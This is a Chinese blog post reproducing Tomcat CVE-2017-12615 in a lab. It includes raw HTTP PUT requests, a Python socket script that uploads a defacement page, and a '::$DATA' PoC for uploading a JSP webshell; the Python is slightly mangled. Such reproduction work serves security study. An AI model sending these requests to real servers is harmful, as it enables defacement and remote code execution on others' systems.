1. 程式人生 > >Tomcat CVE-2017-12615 遠程上傳漏洞復現

Tomcat CVE-2017-12615 遠程上傳漏洞復現

pan 技術分享 port style 運行 下載鏈接 imp put tom

漏洞名稱:CVE-2017-12615-遠程代碼執行漏洞

CVE-2017-12615:遠程代碼執行漏洞

當 Tomcat運行在Windows操作系統時,且啟用了HTTP PUT請求方法(例如,將 readonly 初始化參數由默認值設置為 false),攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 文件,JSP文件中的惡意代碼將能被服務器執行。導致服務器上的數據泄露或獲取服務器權限。

通過以上兩個漏洞可在用戶服務器上執行任意代碼,從而導致數據泄露或獲取服務器權限,存在高安全風險。

影響範圍: Apache Tomcat 7.0.0 - 7.0.81

首先在Tomcat官網下載7.0.81版本

下載鏈接:http://mirrors.shuosc.org/apache/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz

在Linux上搭建 把apache-tomcat-7.0.81.tar.gz文件解壓後放到/usr/local/目錄下

技術分享

在終端裏進入bin目錄,並輸入./startup.sh開啟tomcat

技術分享

隨後訪問http://192.168.149.129:8080端口就可以訪問到

技術分享

漏洞利用步驟

在/conf/目錄下有個web.xml文件 打開添加readonly參數,屬性值為false

技術分享

然後往目標服務器發送put數據包

PUT /123.html/ HTTP/1.1  
Host: 192.168.149.129:8080  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
DNT:1
Connection: close
Content-Length: 664

<html> <head> <title>hack by sf</title> </head> <body> hack by sf! </body> </html>

該數據包是在目標的根目錄下生成一個123.html文件

這裏我們用Python寫了個利用腳本

代碼如下

import socket

poc = "<html><head><title>hack by sf</title></head><body>hack by sf!</body></html>
"; buffer = ( "PUT /123.html/ HTTP/1.1\r\n""Host: 192.168.149.129:8080\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "DNT:1\r\n" "Connection: close\r\n" "Content-Length: 664\r\n\r\n"+poc) expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM); expl.connect(("192.168.149.129",8080)); expl.send(buffer); expl.close();

運行後:

技術分享

修改123.html的後綴可以達到上傳任意文件。

再貼上Tomcat 7.0.79的poc:

PUT /aedoo.jsp::$DATA HTTP/1.1
Host: 192.168.1.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: 
Connection: close
Content-Length: 22
 
your jsp ma

Tomcat CVE-2017-12615 遠程上傳漏洞復現